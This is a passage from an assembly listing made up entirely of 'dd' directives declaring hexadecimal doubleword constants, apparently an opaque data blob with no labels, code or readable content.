3D3B648h, 21F64A42h, 516A9009h, 3C9F0071h, 0E8E0C02Dh dd 18005956h, 73785838h, 48F914h, 5DAB3EA5h, 0A6AF82DCh dd 0FDBF9100h, 0BDA85B92h, 9D240003h, 0DFF6471Bh, 2C26167Bh dd 5800D47Eh, 7688CE65h, 0DCAB0075h, 81668A04h, 120082ADh dd 531729D7h, 18C1CFDh, 0F915925Dh, 0D8795A8Fh, 68008009h dd 36B5DFDAh, 120B8F8h, 1ABE7FFh, 8BE41503h, 83392B18h dd 0A0F63C72h, 1CAC5737h, 6483FF1Dh, 81FE0451h, 166CC0DDh dd 197754CFh, 0D4D5C524h, 0A997813Fh, 4BDA0AF0h, 34DE0E4h dd 48A5FBABh, 6042E568h, 9D31B204h, 5504A118h, 0C0E94F60h dd 0A04C476Fh, 42477E93h, 0D3DBA0D0h, 0A6C50046h, 10B42898h dd 200728Ch, 86FA716Bh, 0F4C517Eh, 39432754h, 4A808E6Fh dd 0C946CECAh, 85581D00h, 0FD92C75Ah, 48BA077Ah, 9911F7D0h dd 910084F4h, 23C086DAh, 0AD3730B6h, 7526C221h, 20471629h dd 30548DE2h, 906C4FEh, 656EDF27h, 0B431D88h, 0D0460090h dd 0DDA81A7Ah, 0F19AB307h, 98857DF3h, 340084Fh, 0C0B43CEBh dd 17C2AEAh, 97E321E2h, 857E64CAh, 0F054C728h, 0B8642C0h dd 1ECB78DBh, 3FB4C63h, 0C6831A79h, 11144003h, 6FCE0Fh dd 36F10188h, 86F9253Fh, 0AB1A530Ch, 50042845h, 750DB4D3h dd 0A8925006h, 0DF5900D1h, 0EECEDCFDh, 937CB1D6h, 524461C3h dd 29B103AFh, 0B2CE531Bh, 8720DAC7h, 3216591Fh, 8150549h dd 0E250996Bh, 2F9F0459h, 7CF3AF8Ch, 0B17E233Fh, 5B0AC0B0h dd 0A18B422Bh, 85009663h, 86405F02h, 7A4B097Eh, 4000804Ah dd 0A0270E66h, 20002C90h, 6219A8DFh, 303F2521h, 0C8189F7Ah dd 0C3480774h, 0B948730Ch, 0EEFA2814h, 20A868F0h, 1704DE35h dd 28E85CA2h, 9440BE7Ch, 48BF247Dh, 411284h, 6F778210h dd 0C000B430h, 44A8055Ch, 0C080B1FFh, 0E78AE118h, 200F139Dh dd 3E42ECEh, 0C0EA4062h, 0A904EF1Fh, 0ABD49D20h, 0C25A47FFh dd 16E93566h, 0AC7502E8h, 9EAD80C4h, 60237A68h, 0B4138314h dd 5DABD78Eh, 0EA914011h, 0A66DEA1h, 85528060h, 4285BCB0h dd 0E814685Eh, 0D29C0AB4h, 880D065h, 0B3474B7Dh, 46333DC4h dd 0A32060FDh, 4E3FC7B5h, 40582B9Ch, 0C535B663h, 0FFCF2070h dd 605EEB57h, 8E0462Ah, 0ED21F722h, 0D5161E00h, 1CFC73BAh dd 0C0934D55h, 581029B5h, 0ED012D0Bh, 34E7BD2h, 189EC923h dd 51E140BBh, 0B22F5241h, 4E1E9578h, 5A145F8Eh, 0A932C120h dd 3EDAD0DAh, 0C0872221h, 3076E06Fh, 461040AFh, 76A070F0h dd 204CDC29h, 0AF7DEF8h, 6E6666Ch, 883EF040h, 0A610085h dd 5008EDDEh, 360820AFh, 18D4707Dh, 4D74B611h, 470D4AF0h dd 0C0268F85h, 21542728h, 7CC70B6Eh, 0BC05A4B2h, 81426060h dd 0FB750F3h, 0FC0E5C16h, 24A049A0h, 3A7C5796h, 8382A900h dd 0F00D519Dh, 18567430h, 0B05DEF3Ch, 0B6F00C6h, 98EEECD9h dd 34F076E6h, 9C0420A6h, 7E7B8F1h, 9D85BC7Ch, 62FD82E2h dd 3F1508F0h, 0FD47E9A1h, 0E1A58160h, 0C8C0C25Bh, 421E1392h dd 0C195CEA4h, 498B7A3h, 78D4880Ah, 0EB21C1DCh, 0BE85119h dd 3A973201h, 4A5A5E87h, 864C88C0h, 0E9B6A99Fh, 0F47E410Eh dd 604B8009h, 4882D240h, 0DA0004B8h, 0FD299FF8h, 2309E07h dd 8DF1194Fh, 1C8648BDh, 0CC7CE900h, 2C586993h, 20A65EF0h dd 3087CE04h, 997C9F8Fh, 0FC804443h, 0E6425B19h, 0AD880747h dd 2BAAC278h, 0C4409125h, 0F1D33D91h, 920A3731h, 0A040F410h dd 1154C415h, 0E208FD4Fh, 5B0A1EA1h, 0C02AD375h, 41956F54h dd 0EEE6EAA0h, 480B5240h, 18015DC2h, 4B42F2Ch, 0FE4728FBh dd 2CB27C5Ah, 584CEA58h, 4F11A0C2h, 0B6F159D5h, 44E50858h dd 0A34CB835h, 0FB99A048h, 4D8C23EAh, 650C86E2h, 0B4D0068h dd 7FB3642Ah, 9A0820AFh, 7568700Ah, 4E472FF8h, 889E7EC9h dd 0E8339E24h, 41F469E0h, 0C90A47CAh, 38089EC8h, 79115323h dd 96B4F20Dh, 9FFF0A20h, 0F1402D35h, 0CD050FACh, 78F271F9h dd 8085A020h, 9981A99Eh, 4285C082h, 41CE904h, 5D07385Fh dd 42D87C08h, 0C0FC8EE7h, 0DB2B397h, 30958F07h, 10AE8040h dd 1CC48D7h, 7E794D70h, 0F0852188h, 0CE039850h, 7C188602h dd 6D998057h, 0C8A7867h, 20AA2EA5h, 0D702F828h, 93D4163Eh dd 0F920B678h, 0D7F6010Bh, 5376C32Bh, 60619C0Ah, 93EBE04Fh dd 7E36FF11h, 8BC7C9F0h, 4DEE88Eh, 633A0A65h, 0D1FD7C7Bh dd 90C12080h, 5E6C6D07h, 20F12960h, 35C93260h, 840AF5Ah dd 25069D5h, 21D4F6D7h, 295095A7h, 0B2008568h, 2CDCBBDEh dd 0C27E4731h, 0B88911C5h, 11591A60h, 0F07929FAh, 11067D9h dd 309F902Ch, 0D01FB034h, 0D4018AF2h, 0EFAB59E3h, 18803511h dd 7365ACCAh, 0A9022C14h, 0E6AD7AC8h, 7820B0D8h, 118673EBh dd 0F1A868CDh, 1F0ED956h, 0AB1C5064h, 2CB2E563h, 6B151A40h dd 0E220668Eh, 1FBC20CEh, 0F6C1539Bh, 1962E8EFh, 3F4A50D4h dd 0C680ECE4h, 0D72C0EF1h, 5507074h, 0C1D99C28h, 0BCE88D50h dd 533F03E3h, 30EFB164h, 80E7E9A3h, 1EC08FA7h, 0AD6E38C0h dd 0C40D859Ah, 2190851h, 90BD1391h, 43A55020h, 837A84E8h dd 9E04DD01h, 0B57C0029h, 0F0E3755h, 2F26C358h, 213E317Ch dd 0C66AC1FDh, 53003169h, 1DEFDC73h, 0C7F121D0h, 0A0C85978h dd 0AD70A3F4h, 500D8A30h, 561778h, 9EF66450h, 0DBA283F9h dd 80101900h, 5BB5D041h, 6ECF0037h, 4AD47644h, 9007CA3h dd 82F44045h, 5071F1A8h, 14EF8848h, 0B00B1B68h, 0E1943D0Ch dd 76004C58h, 4BE5BF97h, 0FCFDFCEh, 0BDB63F49h, 47C8EB0Ah dd 4DEF80C2h, 0F2609321h, 79749A20h, 0D068C046h, 6E107C15h dd 0DEE4D150h, 2EF50202h, 60916FFFh, 1E8590B4h, 805B7BA1h dd 81A74EEAh, 4BF2308Bh, 8CDF80C5h, 88C4F020h, 186D09ABh dd 9B014CCFh, 80F5E1C3h, 0F4214146h, 4808BE8Bh, 81007472h dd 399ED2E2h, 0D603DAB1h, 4C97B8DBh, 90ACE266h, 55A4DDA4h dd 0D1CCC0DCh, 0E4435016h, 0EFA02859h, 7DE939C0h, 0ED3EC903h dd 581CCC6Eh, 98435A4Eh, 0D8E10DDDh, 603FCF21h, 45EF31F4h dd 591AB431h, 0F8B272h, 717C76A8h, 2843612Bh, 83F9A057h dd 1AB4C631h, 0A990014Fh, 0EAACEBCDh, 25108324h, 0E28FC98h dd 0D23C8FA0h, 0E250582Ch, 0D8156E19h, 0F0115678h, 4D9DCCCAh dd 948820E9h, 16386C02h, 9739FD2Ch, 30FF60A8h, 0F8A099FCh dd 576F6F08h, 0A2722381h, 0FCF9051Eh, 0EE45F82h, 0F0219F80h dd 241FB1E1h, 7EFEE95Ch, 186ED500h, 98DCB9F9h, 0F207FC6Ah dd 0A00FF09Dh, 0FDBEA180h, 0BEF3180h, 3B1B4687h, 4FFF5715h dd 3623EA0h, 6959F816h dd 0A05BE258h, 0A603A488h, 7380C0E8h, 7FCEED97h, 5CFD4B01h dd 55E03AB2h, 66702881h, 80FAFEF7h, 0A79516A1h, 1D96385Dh dd 3EF408A0h, 0E910ACA8h, 24D478AAh, 87986073h, 0A3872C5Ch dd 31E0A68Ch, 0D4A9E31Ch, 996040E1h, 6D55F48Fh, 80002270h dd 0D08FC92Bh, 748512A3h, 96D84035h, 8238B2C0h, 50622624h dd 43FF8006h, 4D350E98h, 7AFD051Ah, 0E5326860h, 7000DAF4h dd 0EBB5E6BDh, 3AB66D2Ch, 0C8549FFCh, 0ED9B0973h, 0D4807016h dd 0E81FAFFAh, 48418239h, 0EFC90470h, 24884BCCh, 78D76049h dd 1EA19FEAh, 0D97ED033h, 4040E2FBh, 6F85E2DCh, 0C981E860h dd 400A5187h, 0DE705898h, 8EB47C48h, 2BFEF81h, 40EE8C1Ch dd 0C5CD060h, 48F5747Dh, 0C00666F0h, 4C8D721Dh, 0DF080010h dd 897A8387h, 180938F8h, 5A8431h, 19AC7140h, 0BE5606E5h dd 0A8442D94h, 6F0A5F06h, 129063F9h, 543FC901h, 52258C8h dd 975B18C4h, 9B183122h, 117091F2h, 7D0B7A3Dh, 708ED8h dd 0ADD74774h, 9D74188Bh, 1D6EA882h, 80FAD928h, 29B3B700h dd 6A58200Bh, 6C981024h, 0F0E32604h, 9BE13700h, 74C73301h dd 56AA02FFh, 4561959Fh, 84170C87h, 497204A8h, 908A9D40h dd 1000E6FCh, 79601BECh, 680A6Fh, 0FE019E24h, 0DC3ED7A2h dd 445EFF80h, 0B34C5BD6h, 0DF987727h, 3EE1BF00h, 994C0226h dd 0B47B0145h, 15E4341Ch, 8718BA3Fh, 0B6B35D84h, 117A2EC0h dd 192B1C47h, 209C8397h, 79BB5F89h, 602C4BE2h, 0F5A10229h dd 5D09B828h, 5A5C9400h, 2CD500CCh, 2D80641Fh, 5E6039BFh dd 3C024E38h, 91B71E99h, 11FE01EAh, 0E0C3CF31h, 8B005CD4h dd 63C5438Ch, 48A21601h, 486040E4h, 0B09C1757h, 0D3888A61h dd 0B4F8C997h, 0EA4F783Ch, 0B599304Bh, 1B6112C1h, 53CD9D18h dd 734D6CE8h, 3CA25202h, 0C8BADD10h, 40B9E288h, 8C8B0C18h dd 8862BC21h, 21C20945h, 24E11BA2h, 21790CBFh, 981CC527h dd 398108E3h, 317F4862h, 717848B8h, 0E3483CA0h, 0ACC08410h dd 31DC2918h, 6A417B24h, 0E2E0209Dh, 189A3505h, 0A871409Ch dd 30166690h, 1FACC21h, 6E59AF4Dh, 1820866Ch, 0E4C0E11Bh dd 3D218C5Bh, 0C2FC9145h, 106A761Ch, 0B75301C5h, 6349109Ch dd 6122B8C4h, 0D84CD2F9h, 749CAE24h, 781D4229h, 3EB02A8Eh dd 3C5ED03Ch, 4249D584h, 0A09119E5h, 0E4364BD0h, 78454896h dd 0B9994605h, 0D9F46108h, 0A6A00C4Fh, 2C692958h, 0C46891F4h dd 0AC321285h, 865E9438h, 0C4306549h, 0FC31AD75h, 0E4B81023h dd 0B7B52819h, 0CC4B1894h, 4AE13060h, 26202986h, 2CB50454h dd 5B4C21C4h, 0E4403D12h, 0EB8939E9h, 0A2D2C449h, 305B706Ch dd 1C42FC49h, 8488F411h, 0E1317744h, 0CE602708h, 186C2AA4h dd 0F9097D08h, 8519CAF8h, 1619C5Dh, 46DC840Ch, 0B8E90820h dd 315845C3h, 4C14E56Ch, 218EBCD8h, 15912EACh, 32C6BDC4h dd 7914130Ch, 0C9C046D5h, 0E1143828h, 47A8A6FBh, 999010ECh dd 2B8831CAh, 0CA5A1014h, 9D643CE8h, 44BCBCD8h, 0FCA0303Eh dd 10D03DF1h, 8C2D24FCh, 0A8C69328h, 21612F4Bh, 0A888BFF5h dd 303D9922h, 4411A87Dh, 0A0D85E50h, 6435B844h, 3267C182h dd 799CB989h, 0D8A5E018h, 0CC4BB10h, 0FA65615Dh, 46289C4Ch dd 98CC108Ah, 9C3C29DFh, 8AB510E9h, 2DE29CD0h, 2CD8A033h dd 1AF9B09h, 48971821h, 608BB790h, 11866B4h, 4C2840B8h dd 8056009Ch, 11E42B48h, 0BD7CC8CDh, 26775E00h, 8B923E8Ah dd 3020FF90h, 3C9A348Fh, 0E6C40451h, 2D7D0543h, 21132430h dd 115FF091h, 7D8B0D53h, 0AF8F31C3h, 18496244h, 9A2146A8h dd 0B1911929h, 596B37CFh, 2843DEC1h, 42DD0070h, 8A101029h dd 0FBFEC5E0h, 30725989h, 0B6AB3108h, 3196830Ch, 7E9C2CECh dd 90143C0Eh, 78C294BBh, 3816B7A1h, 7E0C869Fh, 0A2E1635Fh dd 4CCAC92Eh, 72B14940h, 0A91D6711h, 214DA5Fh, 64AD1559h dd 74B6F848h, 0B0313D28h, 956203E0h, 28FC38h, 5E2716C9h dd 13A2411Ch, 592B0A3Fh, 73059C7Dh, 0CC442F5Dh, 55F30C5h dd 31999B0Dh, 2866BA4h, 0CEC061D6h, 0C49C5400h, 603C7458h dd 16F92B39h, 748459ADh, 7C2CAA00h, 7F64822Dh, 0A633620Ah dd 0EC8FC47Dh, 0B83F65A4h, 9B0E20C0h, 2761AB0h, 682CE080h dd 53078E8h, 0F8F151B5h, 0E4AF8892h, 9D1560A0h, 8E798560h dd 1CDBB9E3h, 8F915CCFh, 1303FC6Ah, 110A5D40h, 0B449E372h dd 58A1B182h, 398409Ah, 236330B6h, 9150B488h, 0A0686524h dd 5A4B6F02h, 0E6E0A061h, 52904C9Eh, 0B905E8EFh, 48BEC828h dd 0C9824A30h, 7995F51h, 181606BFh, 94A2B5E6h, 7B76E014h dd 2809A3Ah, 0B5858A55h, 5A48A1CBh, 0C7105EF9h, 1152F5EBh dd 9EBE0BC8h, 0FDAC2520h, 0F8040C40h, 30B2E9DAh, 78A0BDF9h dd 552411D6h, 0FB1CE005h, 7818FC55h, 0E14A978h, 0B493E5h dd 1639AE78h, 34DACE86h, 81A81F89h, 104EF878h, 0A02B147Ah dd 402CA178h, 0BDF89D2Eh, 0D5683C6Bh, 4602A782h, 902014A2h dd 13116502h, 6274C810h, 4023BF12h, 0EDC850B0h, 5C2499A0h dd 80A3836h, 2218BCB5h, 0EC9B7D90h, 0E3EC80F6h, 182E3135h dd 0B35FC21h, 50B3186Ah, 26E83690h, 29E5D430h, 5571CC7Fh dd 6060C853h, 2C828238h, 8600A959h, 0B2ACC509h, 0C5C1714h dd 0DFF85DBBh, 0F5C0097Fh, 54E47C20h, 5D8092E5h, 1B48A845h dd 5084A85h, 2074B0A0h, 0AEACD3A8h, 11C14DF0h, 0C8155C9h dd 0C0C103CBh, 7203186Dh, 6404EDE8h, 0C0399A2Ah, 0C1FCB016h dd 4615A440h, 0FC4120E4h, 54E0922Ch, 26E32CB0h, 15102655h dd 0C701C40Eh, 617D0AD6h, 22189191h, 20415512h, 31C2E6ECh dd 0B51224A4h, 4C01B13Bh, 635DEB88h, 0CCA84850h, 0CC1154F9h dd 2BBF312Dh, 0C849A049h, 0F64C7E6Dh, 0C34F22F8h, 0D942EE61h dd 0C597F101h, 32B5BE58h, 50AF0850h, 3A592EB0h, 9A278FB4h dd 6017D646h, 28A3E374h, 0B7A269F0h, 98937494h, 0B1A4D423h dd 3C34B544h, 38FE0918h, 4C101479h, 630CEBB1h, 1128F2B5h dd 90B94C20h, 5B013222h, 52F4F6C7h, 398074B7h, 82AB9D1Fh dd 3318608Ah, 0DE715F83h, 18245984h, 34109451h, 24BB50B3h dd 89E85D21h, 100A68BEh, 20D06038h, 401265DEh, 871CC1Dh dd 486038B8h, 4EC01280h, 9624838Fh, 9AB4BD8h, 29E29801h dd 4590C50Ah, 286C5824h, 0A9C8FA7h, 38B51B8Eh, 0A0EC95D8h dd 3F88B160h, 7C26E9D7h, 5E0008DDh, 3E7F52BCh, 82852690h dd 0B4C48AF4h, 50B00120h, 3890B515h, 0F1AE0150h, 0BC7CF64Fh dd 0C0D0C860h, 0FF9FA161h, 0FA646747h, 253D418h, 415BE368h dd 24F15C61h, 2A285EB0h, 1B781020h, 0C31ED705h, 0A4042B18h dd 541D29E5h, 4F26E064h, 4932BD94h, 0E0AF0510h, 0DE78DBA1h dd 6008402Dh, 86330279h, 0C0683122h, 892B3DDEh, 56208835h dd 50869926h, 8818427Fh, 0D5217504h, 808EF578h, 8EF6021h dd 247D4898h, 1F80A74Dh, 9F0B20E6h, 2B5E60DDh, 53C0B74h dd 844157B0h, 427973C4h, 801434h, 12F0A7AEh, 511178C9h dd 0F62AE1C0h, 29A5A9h, 4287DA20h, 5B57C1DFh, 0E10044B0h dd 91C52864h, 9C78A1C8h, 0D783010Ch, 84479C2Eh, 111C389h dd 16D838E5h, 8FAF02E2h, 4A6CC202h, 98B2C080h, 35000C99h dd 0FAA8091Ch, 9143923h, 3F83326Eh, 9D166420h, 0A890047Dh dd 0EC8060B0h, 180183Eh, 245530E4h, 92E32CD0h, 6FA6AD00h dd 0DE817422h, 9E9F81Dh dd 0A23AF49Ch, 0ED39C800h, 0E4327B3Dh, 2264B0C0h, 0A8485DB8h dd 81209D18h, 0B1F93CB3h, 41A628F8h, 8B963320h, 311594A0h dd 30D431B8h, 0E63DA8BFh, 60E848E7h, 7249028h, 6B32BDFCh dd 0B99DC74Ch, 9C03A009h, 0C1FC99D4h, 805391ACh, 7BF8C949h dd 923DCD15h, 0FD8100D4h, 9D5F0F54h, 9C3B1AC0h, 34B448C8h dd 34F2E679h, 19774C1Ah, 191B0963h, 0A3E8EAE7h, 28C9A4EBh dd 377FC020h, 82C99504h, 0ACA01890h, 270FBC4h, 687F98C0h dd 1C82DE8Ch, 0D2729014h, 93742304h, 12081021h, 38640D36h dd 202AB251h, 918211FFh, 0E7380110h, 462ADE80h, 0ADB0BEABh dd 9A891E1Ch, 0D4209357h, 272DE13h, 452A6629h, 0D8A65590h dd 5A0238FEh, 0BF2E8626h, 0AA0C81EFh, 3EF3F931h, 0D5921838h dd 90B4013Dh, 0F02701A9h, 0A8C9926Ah, 0CEA8119Ah, 78AB9024h dd 36460C33h, 0B639CC83h, 78CCD49h, 2794FD0Bh, 151CE800h dd 0D95CA876h, 24AF2A8Fh, 78D733ECh, 5978C110h, 0BC10BE64h dd 31025C22h, 4C42426h, 8548181Dh, 86216718h, 9E1EAEDh dd 95141A04h, 34190CC1h, 0B773C250h, 0AB3D7E04h, 6C821726h dd 0BAA863BEh, 65F8609Bh, 38858264h, 0CF9C97B1h, 811EA742h dd 46259882h, 8FA6BC40h, 70E14B41h, 0A8C982E0h, 0FE7B7C84h dd 29EF2B6h, 0A024E1E0h, 0DCC8E54Eh, 0BD07714Dh, 0BE6D042Dh dd 0E94848C9h, 0F6EE0B54h, 6E5CD4E4h, 645C0825h, 2B4542h dd 0F27276C9h, 20AB3210h, 6680885Ch, 7C95F1A5h, 3FB89988h dd 0FD8A9E3Eh, 85BC2367h, 2C170EC2h, 8477E378h, 2E185064h dd 7293F0C3h, 287BB879h, 4008BADEh, 0FCA808B5h, 0B89AF260h dd 0C9E3EE13h, 0A05EEC82h, 33641694h, 0CB9A1212h, 0B060091Ch dd 0EDA7468h, 415E1F19h, 7FF8AB11h, 33FD7F66h, 29713EA0h dd 0D111D681h, 0C88C303Fh, 876BB125h, 3922E57Ch, 82A462BEh dd 0EA58E44Ch, 20D83458h, 5B7643A1h, 163B7EF0h, 17970034h dd 0BD5E3368h, 0CE769Fh, 0D5406AE3h, 26FEB1FBh, 0AC23184Bh dd 448DF9ECh, 0A8A49C44h, 3F7124DEh, 0FCB00A44h, 0B71030A8h dd 23605007h, 1B778C71h, 2CC25C5Ch, 0E1001CD1h, 5E6B24C4h dd 8A2B1FEBh, 9110A83Eh, 6B054CD4h, 3CFCB930h, 0E8A09A8Ch dd 2386FA34h, 45112833h, 112A0286h, 0C250BF48h, 4894B9FDh dd 9F74644h, 825E6D03h, 21862820h, 4769D914h, 0F99C1080h dd 808A5285h, 0C5558717h, 9B302800h, 31542988h, 0E97194BFh dd 842CB4h, 0CFF5E230h, 1D6495B1h, 0E86E5FF0h, 2BB081C8h dd 3119C26h, 0B509EF86h, 840320DBh, 0F1F49C56h, 224C2164h dd 712D0EB8h, 0AC500161h, 4C43E372h, 0B59E8031h, 0C811C034h dd 7088028Ch, 7F77C40Ch, 2776182Dh, 0B410AE6Dh, 814ECD1Bh dd 0CCA8C804h, 7460448Dh, 1F8A4F0Fh, 0BD18BC7Ch, 0AB4ED960h dd 3913C1F0h, 7C403DDCh, 0DE38CE74h, 3C1B860h, 1D549FB5h dd 0D10FC5B8h, 964C3FBFh, 8110201Eh, 35B8210Ch, 0AC1DE1B1h dd 2A005E13h, 591BA3E6h, 29F603AFh, 31BBDE06h, 88401EE2h dd 855863FEh, 0C4E2006Eh, 9A24F51Bh, 0E8684CAFh, 60103C8Ch dd 8FE52384h, 0D8201D18h, 0F3A18017h, 33FC8804h, 3C9170E4h dd 9D40221h, 719A309Bh, 634B6539h, 4D320F7Ah, 0A7FDC8DDh dd 60138888h, 0CA290E5Dh, 3DEC401Eh, 7CB9E011h, 0C8168F91h dd 7A04971Ah, 4601114h, 0A9C9F4B6h, 0A83C8F4h, 0B9C2DD8h dd 0C189BB9Ch, 94005F3Ch, 211E25EEh, 4C3EC80Ah, 4312DCACh dd 0A8DF1847h, 815906C3h, 0C4611B5Ah, 3058BC22h, 18B9EF8Bh dd 9799BED7h, 286371FDh, 271030E2h, 8F09E41h, 0BF4B750Ch dd 664D719Bh, 0A90380DBh, 94A08CF0h, 0E3807E06h, 8144E4Ah dd 0C28F3558h, 564B217Fh, 0CC4537D7h, 0B02338D1h, 0D3E69849h dd 1E1D401Ch, 64C2C827h, 0D8C19D15h, 988158C4h, 0CBC43905h dd 0C9FCD11Dh, 75C47031h, 24C0A73Eh, 0C21784Dh, 0E34FF601h dd 84347D19h, 0A5260092h, 8A421E74h, 0A90AEEA3h, 40FA1A2Ch dd 0A47A8D0Bh, 54E6DE00h, 935C9C81h, 2F3901B6h, 0B4C2EC2Dh dd 3039C3CEh, 4084E421h, 0F2264B35h, 0CC7F0630h, 0E87225h dd 4D171811h, 3D973F2Bh, 49DF0C12h, 0E5091C02h, 900F050h dd 0B7E270B2h, 0E9DB3800h, 0A8C08255h, 58A5E893h, 38CF2769h dd 93447014h, 92C0018h, 4872D5D0h, 0A8964211h, 3770B405h dd 18DBACA0h, 588FFBC1h, 0ED31C0B2h, 0DA9D1894h, 8C39BC31h dd 84EC1603h, 6800911Fh, 0BA21FCAAh, 0C864ADh, 0EDF5F98Eh dd 0B5D7F629h, 60D84700h, 1AA680D0h, 33FE0B6Bh, 94A0CD83h dd 0AD8884EAh, 7448BB67h, 0CC12D1D5h, 1935FC0Ch, 4C99D0h dd 70B3F4B5h, 6255A84Fh, 1076FD84h, 40DC3557h, 6000C0EBh dd 7897EF46h, 32D7DDF3h, 58F87031h, 126BE21Bh, 88BE9F61h dd 706711F9h, 8410E986h, 0E08208DCh, 0F000822Fh, 428E7B9Eh dd 6E1CE128h, 48DDCCF0h, 215E084Bh, 85D357Ch, 0E050014Fh dd 37C8C9ACh, 0BFAC203Fh, 60949E25h, 16B9DB9Ch, 0C26255F7h dd 0B0600674h, 349C5A59h, 471B1801h, 204F94FBh, 803C4211h dd 0CEE5E8C8h, 58357EACh, 488050E4h, 0D48ABF6Ah, 81C49225h dd 222731E8h, 0B2B58040h, 7FA7058Dh, 0AC7AE5h, 20A096DCh dd 4118234Eh, 0CE293B44h, 0C92880A5h, 0C00DF000h, 6E428FE7h dd 8BCD00D0h, 0B3F5E40Eh, 9505FEE6h, 74206054h, 28AC4090h dd 5E3007Ch, 12A5C042h, 2B007E81h, 0F97A78A1h, 18E18725h dd 4186398Fh, 8800674Dh, 499EB6C3h, 202A9E3h, 8A591245h dd 9FE0BEBBh, 0BA18970Eh, 0C710B8C5h, 3DFFFAE6h, 0A6801052h dd 0E8CCE31h, 0D0CE036h, 28D496B5h, 8772003Ah, 224B53AAh dd 7B028205h, 650288AFh, 7850A7h, 0C8E855EDh, 3BBE7F2Dh dd 67000172h, 8D0BB6CDh, 1E9A693h, 90E0996Eh, 0D8E2105Eh dd 7D76E18Eh, 101713Dh, 0F8CF6CA5h, 0ACBDCB2Ch, 34524F00h dd 0D266FADFh, 0E6FC5A30h, 1F0A5DBFh, 0DD2644h, 3B4AD80Eh dd 5E0BC621h, 8055D169h, 2B0F4BB9h, 65FE007Bh, 0B73C29CBh dd 617F604h, 1100746Dh, 0D9F1071Dh, 0DF5392Ch, 171F0176h dd 8CF95FAAh, 8F708169h, 0CFC548C2h, 9E0F8EFh, 0EBA2004Ch dd 0B155399Bh, 8B077ACDh, 80FECAD8h, 63729501h, 85028840h dd 88C20003h, 3D70EDCFh, 0B1006B22h, 6C161404h, 0F7D8E3h dd 89AA0766h, 3598F8CDh, 0BEA2DD00h, 51A09BD4h, 0F4326787h dd 271591D5h, 0CCB8F330h, 1000C562h, 0BD05523Bh, 77C5506h dd 0C4D64F65h, 0EA311232h, 0CB351048h, 4400E075h, 0C04E64A8h dd 588022h, 0A0A2020Fh, 357D8389h, 0B7201E00h, 2CE8D7C2h dd 27BA00B5h, 0BEC729F5h, 0D6034AFDh, 0F1153B6Fh, 36ADD871h dd 0B060C017h, 13E35021h, 238FB900h, 0B4E27204h, 0C09045h dd 0A4CCF57Bh, 0D51B2536h, 4AC5F800h, 11F490FFh, 0B487C93h dd 89DDCF39h, 0F9657F40h, 0D78F7C03h, 0B7643061h, 0A24019C0h dd 0FCCD0C0Dh, 0FB781F7Ah, 7BFF9300h, 8976BB12h, 18266021h dd 44C4A74Ah, 0A14C9660h, 904C3h, 7277B4Fh, 1EE607Eh, 95980800h dd 5AEA8ADFh, 1214B841h, 0A0A2F7F5h, 1E0B57ECh, 0BF55D8h dd 5B45E311h, 84D228E4h, 77D500C8h, 0B1983CD0h, 895CA810h dd 801939D8h, 1F9735C7h, 0FC499B50h, 5EF31CFEh, 3E00BB2Bh dd 9E4721F8h, 83FC5D7Ah, 0EF417400h, 0D74E91B8h, 53D4BDFh dd 70AAE0h, 0B5508B6Ch, 0C60695E1h, 59C3A83Dh, 1BF40F10h dd 32C14841h dd 20CCC1B1h, 66005BD4h, 93C65C15h, 0E00DB4C7h, 454E00E0h dd 0F4825E0Fh, 3200D62Eh, 0E727CA23h, 4F98A56h, 0AED74FEFh dd 33E8B0D8h, 8FE8E400h, 0ED76F602h, 3174B7h, 0C18D677Fh dd 0E842B70h, 0D9DB5B00h, 0B84FBD3Dh, 0B9BB01B6h, 917D559Dh dd 0C4C6DC0Ch, 47FED102h, 0E0638812h, 21DC57h, 272C8182h dd 0A452500Ch, 0D4A2B600h, 0FD296A1Ah, 0CB493A0Fh, 0B83AFA00h dd 0CB91C1Dh, 63BD1201h, 0C4FC98C7h, 18816B31h, 0EA832CA2h dd 9CC3E4C6h, 49554E1Fh, 6D3C0300h, 1CFE2B85h, 0CFDE4Ch dd 1E912518h, 890EE8C6h, 0E01F8EE1h, 0C4AD4FD4h, 67D20093h dd 4D21C29Bh, 49169539h, 8407BE9h, 30B9B61Dh, 530D00F6h dd 96D4D9ABh, 0B8005807h, 0FBEF35E8h, 0CD9D52h, 0AF3A7971h dd 4A6EF43Ch, 14A6BB00h, 0E97B01EDh, 863B02B6h, 1C294750h dd 0B4A4C840h, 5B07C700h, 2FAAA362h, 0E0093D39h, 0B888E00h dd 79A3285h, 346C8D0Bh, 0C51F00B8h, 79B6120Dh, 366A0716h dd 5095BAE2h, 0F55FCA98h, 7B000490h, 8A15638Dh, 14AEFFE5h dd 0D79B274Bh, 557F17h, 34410B8Eh, 0EF4839B3h, 0AF170428h dd 0A80FD0Ah, 5719CAh, 9988729Bh, 0AB1D1352h, 0F6126990h dd 0A0802989h, 0CDA8E1h, 8AE240ACh, 4FFC7942h, 0B2483098h dd 0A5090018h, 0E9D7F14Dh, 1E5C9821h, 808BFBB5h, 8CF80ECAh dd 0B400DFA0h, 7813E95Dh, 16C448Eh, 0AA691710h, 303B860Ch dd 880048D7h, 0F4027431h, 3CB111FEh, 0D2004ACEh, 7F9FF8DEh dd 0C118B50Ch, 3F18D3ABh, 0EE50052h, 981A7279h, 7E001C1Fh dd 0C714FFA2h, 42E72Eh, 6FCEADCh, 1550227Ah, 0FBEE9B00h dd 0BF4A35Dh, 0E6D900AFh, 6258B0BAh, 7400D4E1h, 0AE3F69F0h dd 7ED13C5h, 88371D1Ah, 2D6FA252h, 3E6084E0h, 98A0F073h dd 581F573Ch, 9F413119h, 65644D73h, 0DA00982Ch, 1110F782h dd 0FB02CFA4h, 68583227h, 0C0F1C0CBh, 24863E88h, 8F1F8280h dd 0DB833F80h, 62ACF400h, 0C25BD073h, 6D300F93h, 1CE02597h dd 61ED535h, 54009078h, 321018C4h, 33C0F05h, 880CAE4Fh dd 0C600F10Dh, 230956AAh, 0F0620h, 8F5285A5h, 8ED95424h dd 0A8010D74h, 119D308Dh, 28803EE3h, 0CE344856h, 0EC001DC4h dd 802B4CBh, 3139F38Fh, 710C520h, 0E5BF09Fh, 7917CC24h dd 4F18EA18h, 0EEE30012h, 3BF83CD5h, 17000D20h, 0EC52A2F9h dd 3EB7CBE5h, 8D14BFB3h, 0E60108E7h, 0EAE9E218h, 0BB409D9Ch dd 0B1C5F080h, 6F3884FFh, 0E286C125h, 0CF005951h, 0ABEC02E4h dd 711AE7FCh, 5ED701EFh, 481E92DDh, 7002706Fh, 0A4404900h dd 24094A3Dh, 18EE00D1h, 1442457Dh, 2273EBE4h, 0B91E1A00h dd 